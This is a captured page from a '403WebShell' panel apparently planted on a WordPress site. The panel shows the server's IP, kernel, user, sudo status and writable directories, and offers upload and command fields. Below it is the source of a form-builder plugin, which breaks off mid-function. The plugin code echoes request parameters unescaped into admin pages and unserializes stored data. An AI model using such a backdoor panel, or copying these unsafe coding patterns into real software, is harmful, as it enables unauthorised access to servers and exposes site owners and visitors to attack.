Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_www/wp-content/plugins/form-wizard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_www/wp-content/plugins/form-wizard/form_wizard.php
<?php

/* 
Plugin Name: Form Wizard for Wordpress
Version: 1.0
Description: Create Your own Contact Forms
Author: Phil Young
Plugin URI: http://hostz.org/
Author URI: http://hostz.org/

	"a poor developer uses many < ? p h p . . . . . ? > within a script"
*/ 


class form_wizard_class {

	function __construct() {
		add_action('init', array($this, '_add_buttons'));
		register_activation_hook( __FILE__, array($this, 'install') );
		register_uninstall_hook( __FILE__, array($this, 'uninstall') );
		add_action( 'admin_menu', array($this, 'main_menu'), 1 );
		$this->adminurl =  admin_url('admin.php');
		$this->base = plugin_dir_path(__FILE__ );
		add_action( 'wp_enqueue_scripts', array($this, 'add_css' ));
		add_action( 'admin_enqueue_scripts', array($this, 'add_css' ));
//		add_action( 'wp_ajax_nopriv_formwizard', array($this, 'ajax_callback'));// when not logged in
		add_action( 'wp_ajax_formwizard', array($this, 'ajax_callback'));		// when logged in	- display preview
		add_action( 'wp_ajax_formwizard_select', array($this, 'ajax_callback_select'));		// display list of forms 
		require_once $this->base . 'form_wizard_fields.php';
		require_once $this->base . 'form_wizard_mailer.php';
		add_shortcode( 'formwizard', array($this, 'shortcode_handler'));
		add_action( 'wp_loaded', array($this, 'process_forms') );
		add_filter( 'wp_mail_from_name', array($this, 'mail_from'));
	}
	
	function add_css() {
		// add .js file
//		wp_enqueue_script('jquery-ui-core');
		wp_enqueue_script('jquery');
		wp_enqueue_script('formwizard_js', '//code.jquery.com/ui/1.10.3/jquery-ui.js', array(), '' );		// this one has droppable
		wp_enqueue_script('formwizard_js2', plugins_url('img/form_wizard.js', __FILE__), array(), '' );
		wp_enqueue_style('form_wizard', plugins_url('img/form_wizard.css', __FILE__)); 
	}
	
	function _add_buttons() {
		if ( ( current_user_can('edit_pages') ) && get_user_option('rich_editing') ) {
			add_filter('mce_external_plugins', array($this, 'add_tinymce_plugin'));
			add_filter('mce_buttons', array($this, 'register_button'));
		}
	}

	function register_button($buttons) {
		$buttons[] = 'separator';
		$buttons[] = 'formwizard';
		return $buttons;
	}
	
	function add_tinymce_plugin($plugin_array) {
		$plugin_array['formwizard'] = plugins_url('img/editor_plugin_src.js', __FILE__);
		return $plugin_array;
	}
	

	public function install() {
		global $wpdb;
		$sql = <<<BLOCK
CREATE TABLE IF NOT EXISTS `###formwizard_fielddefs` (
  `fd_id` int(11) NOT NULL AUTO_INCREMENT,
  `fd_name` varchar(128) NOT NULL,
  `fd_caption` varchar(255) NOT NULL,
  `fd_type` varchar(30) NOT NULL,
  `fd_extra` mediumtext NOT NULL,
  PRIMARY KEY (`fd_id`),
  KEY `fd_name` (`fd_name`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
BLOCK;
		$this->Query($sql);
		$sql = <<<BLOCK
CREATE TABLE IF NOT EXISTS `###formwizard_formdefs` (
  `md_id` int(11) NOT NULL AUTO_INCREMENT,
  `md_name` varchar(255) NOT NULL,
  `md_akismet` char(1) NOT NULL DEFAULT '0',
  `md_focus` char(1) NOT NULL DEFAULT '1',
  `md_layout` mediumtext NOT NULL,
  `md_subject` varchar(255) NOT NULL,
  `md_fields` mediumtext NOT NULL,
  `md_defaults` mediumtext NOT NULL,
  `md_sender` varchar(255) NOT NULL,
  `md_recipient` varchar(1024) NOT NULL,
  `md_body` mediumtext NOT NULL,
  `md_redirect` varchar(1024) NOT NULL,  PRIMARY KEY (`md_id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
BLOCK;
		$this->Query($sql);

		$sql = <<<BLOCK
CREATE TABLE IF NOT EXISTS `###formwizard_submissions` (
  `fs_id` int(11) NOT NULL AUTO_INCREMENT,
  `fs_form` int(11) NOT NULL,
  `fs_timestamp` int(11) NOT NULL,
  `fs_data` mediumtext NOT NULL,
  `fs_akismet` enum('ok','spam','unknown') NOT NULL COMMENT 'akismet result. is it spam',
  `fs_ip` varchar(45) NOT NULL,
  `fs_country` varchar(2) NOT NULL,
  `fs_lang` varchar(6) NOT NULL,
  PRIMARY KEY (`fs_id`),
  KEY `fs_form` (`fs_form`,`fs_timestamp`),
  KEY `fs_timestamp` (`fs_timestamp`,`fs_form`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
BLOCK;
		$this->Query($sql);

//		$this->install_data();
	}
	
	private function install_data() {
	}
	
	private function Query($sql) {
		global $wpdb;
		$sql = str_replace('###', $wpdb->prefix, $sql);
		$wpdb->query($sql);
	}
	public function uninstall() {
		$this->Query('DROP TABLE IF EXISTS `###formwizard_fielddefs`');
	}	

	// http://drew.the-computer-site.com/wp-admin/admin.php?page=form-wizard-newfield
	function main_menu() {
		add_menu_page( 'Theme page title', 'Form Wizard', 'manage_options', 'form-wizard-main-page', 
					array($this, 'all_form'), plugin_dir_url( __FILE__ ). '/img/email_icon.gif', 39); 
		add_submenu_page('form-wizard-main-page', __('Form Wizard - All Forms'), __('All Forms'), 
					'manage_options', 'form-wizard-main-page',  array($this, 'all_form'));
		add_submenu_page('form-wizard-main-page', __('Form Wizard - Add New Form'), __('Add New Form'), 
					'manage_options', 'form-wizard-formedit',  array($this, 'formedit'));  // form-wizard_page_form-wizard-formedit
		add_submenu_page('form-wizard-main-page', __('Form Wizard - All Fields'), __('All Fields'), 
					'manage_options', 'form-wizard-allfields',  array($this, 'all_field'));
		add_submenu_page('form-wizard-main-page', __('Form Wizard - Add New Field'), __('Add New Field'), 
					'manage_options', 'form-wizard-fieldedit',  array($this, 'fieldedit'));  
		add_submenu_page('form-wizard-main-page', __('Form Wizard - Support'), __('Support'), 
					'manage_options', 'form-wizard-support',  array($this, 'support_page'));
		add_submenu_page(NULL, __('Form Wizard - Submission'), __('xxxx'), 	// non-menu page
					'manage_options', 'form-wizard-item',  array($this, '_anitem'));
					
	}
	
	function _anitem() {
		global $wpdb, $fielddefs;
		$recnum = isset($_REQUEST['id']) ? intval($_REQUEST['id']) : 0;
		$hhead  = translate( 'Submission ' . $recnum, 'default' ); 

		$submission = $wpdb->get_row("select fs_form,fs_ip,fs_country,fs_lang,fs_data from {$wpdb->prefix}formwizard_submissions where fs_id=$recnum");
		$formid = $submission->fs_form;
		$this->DATA = $wpdb->get_row("select * from {$wpdb->prefix}formwizard_formdefs where md_id=$formid", ARRAY_A);
		if (!empty($this->DATA->md_layout)) {
			$items = unserialize($this->DATA->md_layout);
			foreach($items as $key => $value) {
				$this->DATA->$key = $value;
			}
		}
		$mailer = new form_wizard_mailer();
		$data = unserialize($submission->fs_data);
		
		$data['recordid'] = $recnum;
		$data['ipaddress'] = $submission->fs_ip;
		$data['countrycode'] = $submission->fs_country;
		$data['language'] = $submission->fs_lang;
		$mailer->SetData($data);
		$body = $mailer->apply_macro($this->DATA['md_body']);	// format the submission using the defined email format
		echo <<<BLOCK
<div class="wrap">
	<div id="icon-edit" class="icon32 icon32-posts-post"><br /></div><h2>$hhead</h2>
<span id="submission_text">$body</span>
</div>
BLOCK;
	}
	
	public function all_field() {
		$hhead  = translate( 'All Fields', 'default' ); 

		require_once $this->base . 'form_wizard_listtable.php';
		$wp_list_table = new FormWizard_Field_List_Table(array());
		$wp_list_table->prepare_items();
		$pagenum = $wp_list_table->get_pagenum();
		$doaction = $wp_list_table->current_action();
		if ( $doaction ) {
		}

		echo <<<BLOCK
<div class="wrap">
	<div id="icon-edit" class="icon32 icon32-posts-post"><br /></div><h2>$hhead <a href="{$this->adminurl}?page=form-wizard-fieldedit" class="add-new-h2">Add New</a></h2>
	<p>This is the list of all possible fields that can be included in a Form Wizard form.</p>
		<form id="form-wizard-filter" method="get">
			<input type="hidden" name="page" value="{$_REQUEST['page']}" />
BLOCK;
	$wp_list_table->display();
echo <<<BLOCK
		</form>        
	</div>
BLOCK;
	}

	private function echo_responses($formid, $email_field = '') {
		require_once $this->base . 'form_wizard_responses.php';
		$wp_list_table = new FormWizard_Responses_List_Table(array());
		$wp_list_table->SetParam($formid, $email_field);
		$wp_list_table->prepare_items();
		$pagenum = $wp_list_table->get_pagenum();
		$doaction = $wp_list_table->current_action();
		if ( $doaction ) {
		}

		$wp_list_table->display();
	}
	
	public function all_form() {
		$hhead  = translate( 'All Forms', 'default' ); 

		require_once $this->base . 'form_wizard_listtable.php';
		$wp_list_table = new FormWizard_Form_List_Table(array());
		$wp_list_table->prepare_items();
		$pagenum = $wp_list_table->get_pagenum();
		$doaction = $wp_list_table->current_action();
		if ( $doaction ) {
		}

		echo <<<BLOCK
<div class="wrap">
	<div id="icon-edit" class="icon32 icon32-posts-post"><br /></div><h2>$hhead <a href="{$this->adminurl}?page=form-wizard-formedit" class="add-new-h2">Add New</a></h2>
		<form id="form-wizard-filter" method="get">
			<input type="hidden" name="page" value="{$_REQUEST['page']}" />
BLOCK;
	$wp_list_table->display();
echo <<<BLOCK
		</form>
	</div>
BLOCK;
	}

	// return error message, if any
	function __verify_fd_name($value) {
		$value = strtolower($value);
		switch(strtolower($value)) {
			case 'name':
			case 'year':
			case 'month':
			case 'day':
			case 'date':
				return 'The name "<b>' . $value . '</b>" is reserved for Wordpress and cannot be used.';
		}
		return '';
	}
	
	function __data_callback($fieldname) {
		global $fielddefs;
		if ($fielddefs->isPost) {
			$value = isset($_POST[$fieldname]) ? trim(stripslashes($_POST[$fieldname])) : '';
		} else {
			$value = (isset($this->DATA->$fieldname)) ? $this->DATA->$fieldname : '';
		}
		$this->DATA->$fieldname = $value;
		return $value;
	}

	private function _LoadFieldDefinition() {
		global $fielddefs, $wpdb;
		$id = isset($_REQUEST['id']) ? intval($_REQUEST['id']) : 0;
		if ($id) {
			$title = 'Edit Field';
			$this->DATA = $wpdb->get_row("select * from {$wpdb->prefix}formwizard_fielddefs where fd_id=$id");
		} else {
			$title = 'New Field';
			$this->DATA = new StdClass();
		}
		if (!empty($this->DATA->fd_extra)) {
			$this->EXTRA = unserialize($this->DATA->fd_extra);
		} else {
			$this->EXTRA = array();
		}
		// load in the classes for all the field types - onchange to display fields specific to each type
		$defs = $fielddefs->GetSupportedFieldTypes();
		$fielddefs->callback_push(array($this, '__data_callback'));
		$fields = 	$fielddefs->AddWizardField('fd_name', 'text', 'Field Name', 
						array('onvalidate' => array($this, '__verify_fd_name'))).
					$fielddefs->AddWizardField('fd_caption', 'text', 'Caption').
					$fielddefs->AddWizardField('fd_type', 'select', 'Field Type', 
						array('list' => $defs, 'required' => 1, 'onchange' => 'formwizard_change(this)'));	// onchange
		$fields  .= $fielddefs->GetWizardFieldSettings($this->EXTRA, $this->DATA->fd_type).
					$fielddefs->AddWizardField('__s', 'submit', 'Save Changes').
					$fielddefs->ErrorMessages();
		
		$fielddefs->callback_pop();
		return array($id, $title, $fields);
	}
	
	private function SaveFieldDefinition() {
		global $fielddefs;
		list($id, $title, $fields) = $this->_LoadFieldDefinition();
		if ($fielddefs->isPost && !$fielddefs->errorcount) {
			$this->DATA->fd_extra = serialize($this->EXTRA);
			$this->SaveData($this->DATA, !$id);
			wp_redirect( "{$this->adminurl}?page=form-wizard-allfields");
			exit;
		}
	}
	
	public function fieldedit() {
		global $wpdb, $fielddefs;

		$fielddefs->fields = array();		// remove posted copy
		list($id, $title, $fields) = $this->_LoadFieldDefinition();
		
		$nonce = wp_nonce_field("formwizard_$id", 'formwizard_nonce', false, false);
		$htitle = __($title);
		$icon = get_screen_icon('');
		$hfieldset = __('General');
		$hfieldset2 = __('Preview');
		
		echo <<<BLOCK
<script type="text/javascript">
formwizard_last = null;
function formwizard_change(sel) {
	if (formwizard_last) {
		formwizard_last.hide();
	} else {
		jQuery("#sett_{$this->DATA->fd_type}").hide();
	}
	var n = jQuery(sel).val();
	formwizard_last = jQuery("#sett_" + n);
	formwizard_last.show();
}
</script>
<form name="post" action="{$this->adminurl}?page={$_REQUEST['page']}&amp;action=edit&amp;id=$id" method="post" id="post">
$nonce
<div class="wrap">
$icon<h2>$htitle</h2>

<div id="poststuff">
<input type="hidden" name="action" value="form-wizard-fieldedit" />

<div id="post-body" class="metabox-holder columns-2">
<div id="post-body-content" class="edit-form-section">
<div id="form-wizard-div" class="stuffbox">
<h3><label for="name">$hfieldset</label></h3>
<div class="inside">
<div class="form-table formwizard-edit">
$fields
<div style="clear:both"></div>
</div>
</div>
</div>
<br />
<!--
<div id="post-body" class="metabox-holder columns-2">
<div id="post-body-content" class="edit-form-section">
<div id="form-wizard-div" class="stuffbox" style="width:791px">
<h3><label for="name">$hfieldset2</label></h3>
<div class="inside">
<div class="form-table formwizard-edit">
<div style="clear:both"></div>
</div>
<br />
-->

</div>
</div>
BLOCK;

// commented area is for a preview
	}

/*$comment = array(
 *           'author'    => 'viagra-test-123',
 *           'email'     => 'test@example.com',
 *           'website'   => 'http://www.example.com/',
 *           'body'      => 'This is a test comment',
 *           'permalink' => 'http://yourdomain.com/yourblogpost.url',
 *        );
 */
	
	function akismet_check( $commentdata ) {
		global $akismet_api_host, $akismet_api_port, $akismet_last_comment, $post;
		$link = get_permalink( $post->ID );
		
		$comment = $commentdata;
		$comment['user_ip']    = $this->get_ip_address();
		$comment['user_agent'] = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : null; 
		$comment['referrer']   = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : null;
		$comment['blog']       = get_option('home');
		$comment['blog_lang']  = get_locale();
		$comment['blog_charset'] = get_option('blog_charset');
		$comment['permalink']  = $link;

		if ( akismet_test_mode() )
			$comment['is_test'] = 'true';
			
		foreach ($_POST as $key => $value ) {
			if ( is_string($value) )
				$comment["POST_{$key}"] = $value;
		}

		$ignore = array('HTTP_COOKIE', 'HTTP_COOKIE2', 'PHP_AUTH_PW', 'REDIRECT_STATUS', 'SERVER_PORT', 'DOCUMENT_ROOT', 'SERVER_ADMIN', 'PHP_SELF', 'argv');
		foreach ( $_SERVER as $key => $value ) {
			if ( !in_array( $key, $ignore ) && is_string($value) )
				$comment[$key] = $value;
			else
				unset($comment[$key]);
		}

		$query_string = '';
		foreach ( $comment as $key => $data )
			$query_string .= $key . '=' . urlencode( stripslashes($data) ) . '&';

		$response = akismet_http_post($query_string, $akismet_api_host, '/1.1/comment-check', $akismet_api_port);
		do_action( 'akismet_comment_check_response', $response );

		akismet_update_alert( $response );
		if ( 'true' == $response[1] ) {
			// akismet_spam_count will be incremented later by akismet_result_spam()
			add_filter('pre_comment_approved', 'akismet_result_spam');
			do_action( 'akismet_spam_caught' );
			return 'spam';
		}
		return ($response[1] == 'false') ? 'ok' : 'unknown';
	}

	private function SaveData($DATA, $isNew) {
		global $wpdb;
		$types = array('%d', '%s', '%s', '%s', '%s');
		$values = array(
			'fd_id' => NULL,
			'fd_name' => $DATA->fd_name,
			'fd_caption' => $DATA->fd_caption,
			'fd_type' => $DATA->fd_type,
			'fd_extra' => $DATA->fd_extra);
		if ($isNew) {
			$result = $wpdb->insert($wpdb->prefix . 'formwizard_fielddefs', $values, $types);
		} else {
			unset($values['fd_id']);
			array_shift($types);
			$result = $wpdb->update($wpdb->prefix . 'formwizard_fielddefs', $values, array('fd_id' => $DATA->fd_id), $types);
		}
		if ($result === false) {
			echo "unable to update fielddefs; $isNew, {$DATA->fd_id}<br>\n";
			echo "{$wpdb->last_query}<br>\n";
			echo "{$wpdb->last_error}<br>\n";
			exit;
		}
	}
	
	private function GetEmailFieldName() {
		$this->_get_field_definitions();
		$fieldlist = $this->DATA->md_fields;
		$fieldlist = explode(';', $fieldlist);
		foreach($fieldlist as $fieldname) {
			if (isset($this->fieldsource[$fieldname])) {
				$fielddef = $this->fieldsource[$fieldname];
				if ($fielddef->fd_type == 'email') return $fieldname;
			}
		}
		return '';
	}

	public function formedit() {
		global $wpdb, $fielddefs;
		$id = isset($_REQUEST['id']) ? intval($_REQUEST['id']) : 0;
		$fielddefs->fields = array();		// remove posted copy
		list($title, $page1, $page4, $available, $used, $available2) = $this->Prepare_UpdateForm($id);

		$nonce = wp_nonce_field("formwizard_f$id", 'formwizard_nonce', false, false);
		$htitle = __($title);
		$adminurl =  admin_url('admin-ajax.php?action=formwizard');
		$k = $fielddefs->AddWizardField('formwizard_submit', 'submit', 'Save Changes').
			 $fielddefs->ErrorMessages();

// From the form we are designing, what is the name of the first email field?
		$email_fieldname = $this->GetEmailFieldName();

		$icon = get_screen_icon('');
echo <<<BLOCK
<script type="text/javascript">
formwizard_url = '$adminurl';
formwizard_form = $id;
</script>
<form name="post" action="{$this->adminurl}?page={$_REQUEST['page']}&amp;action=edit&amp;id=$id" method="post" id="post" onsubmit="return formwizard_preparesubmit()"><input type="hidden" name="md_id" value="$id">
$nonce
<div class="wrap">
$icon<h2>$htitle</h2>

<ul class="ufo-tab-header ufo-tab-top">
<li><a id="formwiztab_gen" class="ufo-tab1-menu ufo-active" onclick="return formwizard_tab(this, 'gen')" href="#">
<span>General</span></a></li>
<li><a id="formwiztab_fields" class="ufo-tab1-menu" onclick="return formwizard_tab(this, 'fields')" href="#">
<span>Fields</span></a></li>
<li><a id="formwiztab_prev" class="ufo-tab1-menu" onclick="return formwizard_tab(this, 'prev')" href="#">
<span>Preview</span></a></li>
<li><a id="formwiztab_notif" class="ufo-tab1-menu" onclick="return formwizard_tab(this, 'notif')" href="#">
<span>Notification</span></a></li>
<li><a id="formwiztab_posts" class="ufo-tab1-menu" onclick="return formwizard_tab(this, 'posts')" href="#">
<span>Responses</span></a></li>
</ul>
<div style="clear:both"></div>
<div class="ufo-tab-wrapper ufo-tab-top">
  <div class="ufo-tabs ufo-active" id="formwizpage_gen">
    <div class="form-table formwizard-edit">
$page1
     <div style="clear:both"></div>
	</div>
  </div>

  <div class="ufo-tabs" id="formwizpage_fields">
	<p>To assemble your form, drag fields from the collection on the right, to the area below</p>
	
	<div id="column1-wrap">
		<div id="formwizard_target">$used</div>
	</div>
	<div id="formwizard_available">
	<h3>Available Fields</h3>
	$available
	</div>
	<p>Remember to include a Submit button</p>
	
	<div style="clear:both"></div>
  </div>
  
  <div class="ufo-tabs" id="formwizpage_prev">
  This preview may show changes you have made, but not yet saved. Anything you enter 
  in this form will become the default values.
  <div id="formwizard_preview">
  </div>
  <p>In this preview, the text of the first Submit Button has been changed. Please fill in the form, and 
  choose "Set Defaults" to make these become the default values for the form. No error checking is done,
  so Required Fields do not need a value here.</p>
  <div style="clear:both"></div>
  </div>
  
  <div class="ufo-tabs" id="formwizpage_notif">
  <p>This tab will allow you to be notified by email whenever the form is submitted. Leave the Recipients blank if you do not wish to be notified.</p>
  	<div id="column1-wrap">
		<div class="form-table formwizard-edit" id="formwizard_notify">
$page4
     <div style="clear:both"></div>
	</div>
	</div>
	
	<div id="formwizard_fieldlist">
	<h3>Available Fields</h3>
	$available2
	</div>

	<div style="clear:both"></div>
    
  </div>
  
  <div class="ufo-tabs" id="formwizpage_posts">
BLOCK;
//   This feature has not been written yet - it will show you all the submissions made by clients.
//  You will also be able to export these to a spreadsheet.

	$this->echo_responses($id, $email_fieldname);
echo <<<BLOCK

  </div>
  <br />
  $k
  <div style="clear:both"></div>
</div>


BLOCK;
	}

	private function GenenerateFieldItems($currentfields) {
		global $wpdb;
		if ($currentfields == '') {
			$currentfields = array();
		} else {
			$currentfields = explode(';', $currentfields);
		}
		$currentfields = array_flip($currentfields);
		$output = $used = $available2 = '';
// get the fields, filter out the ones we have used
		$rows_ord = $wpdb->get_results("select fd_name,fd_caption,fd_type from " . $wpdb->prefix . "formwizard_fielddefs order by fd_caption");
		$fieldlist = array();
		foreach($rows_ord as $item) {
			$fieldname = $item->fd_name;
			if (!isset($currentfields[$fieldname])) {		// is field already used - so not Available
				$output .= $this->AsDraggableObject($item);
			} else {
				$fieldlist[$fieldname] = $item;
			}
		}
		foreach($currentfields as $fieldname => $filler) {		// order of these fields is important
			if (isset($fieldlist[$fieldname])) {
				$item = $fieldlist[$fieldname];
				$used .= $this->AsDraggableObject($item);
				if ($item->fd_type != 'submit') {
					$dcaption = htmlspecialchars($item->fd_caption);
					$scaption = addslashes($item->fd_caption);
					if (substr($scaption, -1, 1) != '?') $scaption .= ':';
					$available2 .= <<<BLOCK
<a href="#" onclick="send_to_editor('$scaption %$fieldname%'); return false">{$dcaption}</a><br>
BLOCK;
				}
			}
		}
		$available2 .= <<<BLOCK
<br>
<h3>Other Fields</h3>
<a href="#" onclick="send_to_editor('IP Address: %ipaddress%'); return false">IP Address</a><br>
<a href="#" onclick="send_to_editor('Country: %countrycode%'); return false">Country</a><br>
<a href="#" onclick="send_to_editor('Language: %language%'); return false">Language</a><br>
<a href="#" onclick="send_to_editor('%recordid%'); return false">Record Number</a><br>

BLOCK;
		return array($output, $used, $available2);
	}
	
	function AsDraggableObject($item) {
		$fieldname = $item->fd_name;
		$caption = $item->fd_caption;
		$dcaption = htmlspecialchars($caption);
		return <<<BLOCK
<div class="formwizard_item" id="formwizarditem_{$fieldname}">{$dcaption}<div class="formwizard_itemedit" onclick="formwizard_remove('formwizarditem_{$fieldname}')"></div></div>

BLOCK;
		}

	// Create the preview of the form
	function ajax_callback() {
		global $wpdb, $fielddefs;
//http://drew.the-computer-site.com/wp-admin/admin-ajax.php?action=formwizard
		$fielddefs->isPost = 0;		// don't do any error checking.  
// get field values (the defaults) from the database
		$rows_ord = $wpdb->get_results("select * from " . $wpdb->prefix . "formwizard_fielddefs");
		$fieldsource = array();
		foreach($rows_ord as $item) {
			$fieldsource[$item->fd_name] = $item;
		}
		if (!empty($_REQUEST['items'])) {		// Set Defaults
			$items = stripslashes($_REQUEST['items']);
			$formid = intval($_REQUEST['formid']);
			$j = json_decode($items, 1);
			$defaults = array();
			foreach($j as $item) {
				$defaults[$item['name']] = $item['value'];
			}
			$this->SetDefaults($formid, $defaults);
			// success
			echo <<<BLOCK
<b>Defaults have been saved. &nbsp;</b>

BLOCK;
			exit;
		}
		
		if (empty($_REQUEST['list'])) {			// demo
			$fieldlist = 'formwizarditem_subscribe;formwizarditem_name;formwizarditem_email;formwizarditem_location;formwizarditem_message';
			$title = 'Untitled Form';
			$formid = 0;
		} else {								// Preview
			$fieldlist = $_REQUEST['list'];
			$title = $_REQUEST['title'];
			$formid = intval($_REQUEST['formid']);
		}
		$fieldlist = str_replace('formwizarditem_', '', $fieldlist);

		$fields = '';
		$first = 1;
// pick up current default values

		$data = $wpdb->get_row("select * from {$wpdb->prefix}formwizard_formdefs where md_id=$formid");
		if (empty($data->md_defaults)) {
			$defaultvalues = array();
		} else {
			$defaultvalues = unserialize($data->md_defaults);
		}
		if (!empty($this->DATA->md_layout)) {
			$items = unserialize($this->DATA->md_layout);
			foreach($items as $key => $value) {
				$this->DATA->$key = $value;
			}
		}

		$this->MOBILE = wp_is_mobile();
		$form_layout = $this->MOBILE ? 2 : $this->DATA->md_format;
		$wd = $fielddefs->SetFormLayout($this->DATA->md_width, $form_layout);		// width and style of the form

		foreach(explode(';', $fieldlist) as $fieldname) {
			if (isset($fieldsource[$fieldname])) {
				$node = $fieldsource[$fieldname];
				if (empty($node->fd_extra)) {
					$param = array();
				} else {
					$param = unserialize($node->fd_extra);
				}
				if ($first && $node->fd_type == 'submit' && $formid) {
// but only if this layout has been saved
					$fields .= <<<BLOCK
<div class="formwizard_field">
	<div class="formwiz_col$class" style="width:{$wd}px;text-align:right;"><span id="response"></span> <button type="button" onClick="SetDefaults(jQuery('#formwizard_preview'), $formid)">Set Defaults</button></div>
</div>
BLOCK;

					$first = 0;
				} else {
					if (isset($defaultvalues[$node->fd_name])) {
						$param['value'] = $defaultvalues[$node->fd_name];
					}
					$fields .= $fielddefs->AddWizardField($node->fd_name, $node->fd_type, $node->fd_caption, $param);
				}
			}
		}
		

		$hfieldset = htmlspecialchars($title);
		$admin = $this->adminurl;
		echo <<<BLOCK
<div id="post-body" class="metabox-holder columns-2">
 <div id="post-body-content" class="edit-form-section">
  <div id="form-wizard-div" class="stuffbox">
   <h3><label for="name">$hfieldset</label></h3>
   <div class="inside">
    <div class="form-table formwizard-edit" id="formwizard_preview">
$fields
     <div style="clear:both"></div>
    </div>
   </div>
  </div>
 </div>
 <div style="clear:both"></div>
</div>

BLOCK;
		exit;
	}

	private function SetDefaults($formid, $defaults) {
		global $wpdb, $fielddefs;
		$j = serialize($defaults);
		$j = esc_sql($j);
		$sql = "update ###formwizard_formdefs set `md_defaults`='$j' where md_id=$formid";
		$this->Query($sql);
	}
	
	function ajax_callback_select() {
		global $wpdb, $fielddefs;
//http://drew.the-computer-site.com/wp-admin/admin-ajax.php?action=formwizard
		$output = '';
		$rows_ord = $wpdb->get_results("select md_id,md_name from " . $wpdb->prefix . "formwizard_formdefs order by md_name");
		foreach($rows_ord as $item) {
			$dname = htmlspecialchars($item->md_name);
			$output .= "<option value=\"{$item->md_id}\">$dname</option>\n";
		}
		wp_enqueue_script('jquery');
		wp_enqueue_script('fwtinymce', plugins_url('img/tiny_mce_popup.js', __FILE__), array(), '' );
		$this->add_css() ;
		
		$charset = get_bloginfo( 'charset' );
		echo <<<BLOCK
<!DOCTYPE html>
<head>
	<meta charset="$charset">
BLOCK;

		wp_head();
		echo <<<BLOCK
<script type="text/javascript">
function formwizard_choose() {
	var id = jQuery('#formwizard_selection').val();
	window.tinyMCE.execInstanceCommand('content', 'mceInsertContent', false, '[formwizard id="' + id + '"]');
	tinyMCEPopup.editor.execCommand('mceRepaint');
	tinyMCEPopup.close();
}
</script>
</head>
<body>
<p>Please select a Form Wizard form</p>
<form method="get" onsubmit="formwizard_choose(); return false">
<select id="formwizard_selection" size="8" style="width: 450px;margin-bottom:14px">
$output
</select><br>
<button name="usethis" id="usethis"> Use this form </button>
</body>

BLOCK;
		exit;
	}
	private function SaveData_form($DATA, $isNew) {
		global $wpdb;
		$layout = array('md_width' => $DATA->md_width,
						'md_format' => $DATA->md_format,
					);
		$types = array('%d', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s');
		$values = array(
			'md_id' => NULL,
			'md_name' => $DATA->md_name,
			'md_akismet' => $DATA->md_akismet,
			'md_focus' => $DATA->md_focus,
			'md_redirect' => $DATA->md_redirect,
			'md_fields' => $DATA->md_fields,
			'md_sender' => $DATA->md_sender,
			'md_recipient' => $DATA->md_recipient,
			'md_subject' => $DATA->md_subject,
			'md_body' => $DATA->md_body,
			'md_layout' => serialize($layout),
			);
		if ($isNew) {
			$result = $wpdb->insert($wpdb->prefix . 'formwizard_formdefs', $values, $types);
		} else {
			unset($values['md_id']);
			array_shift($types);
			$result = $wpdb->update($wpdb->prefix . 'formwizard_formdefs', $values, array('md_id' => $DATA->md_id), $types);
		}
		if ($result === false) {
			echo "unable to update fielddefs; $isNew, {$DATA->md_id}<br>\n";
			echo "{$wpdb->last_query}<br>\n";
			echo "{$wpdb->last_error}<br>\n";
			exit;
		}
	}

	function Prepare_FormWizardForm($formid) {
		global $wpdb, $fielddefs;
		$this->DATA = $wpdb->get_row("select * from {$wpdb->prefix}formwizard_formdefs where md_id=$formid");
		$fieldlist = $this->DATA->md_fields;
		$akismet = 'unknown';
		if (empty($this->DATA->md_defaults)) {
			$defaultvalues = array();
		} else {
			$defaultvalues = unserialize($this->DATA->md_defaults);
		}
		if (!empty($this->DATA->md_layout)) {
			$items = unserialize($this->DATA->md_layout);
			foreach($items as $key => $value) {
				$this->DATA->$key = $value;
			}
		}

		$this->MOBILE = wp_is_mobile();
		$form_layout = $this->MOBILE ? 2 : $this->DATA->md_format;
		$fielddefs->SetFormLayout($this->DATA->md_width, $form_layout);		// width and style of the form
		$class = ' formwiz_format'. $form_layout;
		
		$fielddefs->callback_push(array($this, '__data_callback'));
		$fieldlist = explode(';', $fieldlist);
		if (!count($fielddefs->fields)) {		// a post request with error will already contain field data - so skip it here
			foreach($fieldlist as $fieldname) {
				if (isset($this->fieldsource[$fieldname])) {
					$node = $this->fieldsource[$fieldname];
					if (empty($node->fd_extra)) {
						$param = array();
					} else {
						$param = unserialize($node->fd_extra);
					}
					if (!$fielddefs->isPost && isset($defaultvalues[$node->fd_name])) {		// add in a default value
						$param['value'] = $defaultvalues[$node->fd_name];
					}
					$fielddefs->NewWizardField($node->fd_name, $node->fd_type, $node->fd_caption, $param);
				}
			}
			$fielddefs->Execute();
		}
		$fields = $fielddefs->AsHtml() . $fielddefs->ErrorMessages(intval($this->DATA->md_focus));
		$fielddefs->callback_pop();
		if ($fielddefs->isPost && $fielddefs->isBot()) $akismet = 'spam';		// spam check is only on POSTed data
		
		return array($fields, $fieldlist, $akismet, $class);
	}
	
	function mail_from($name) {
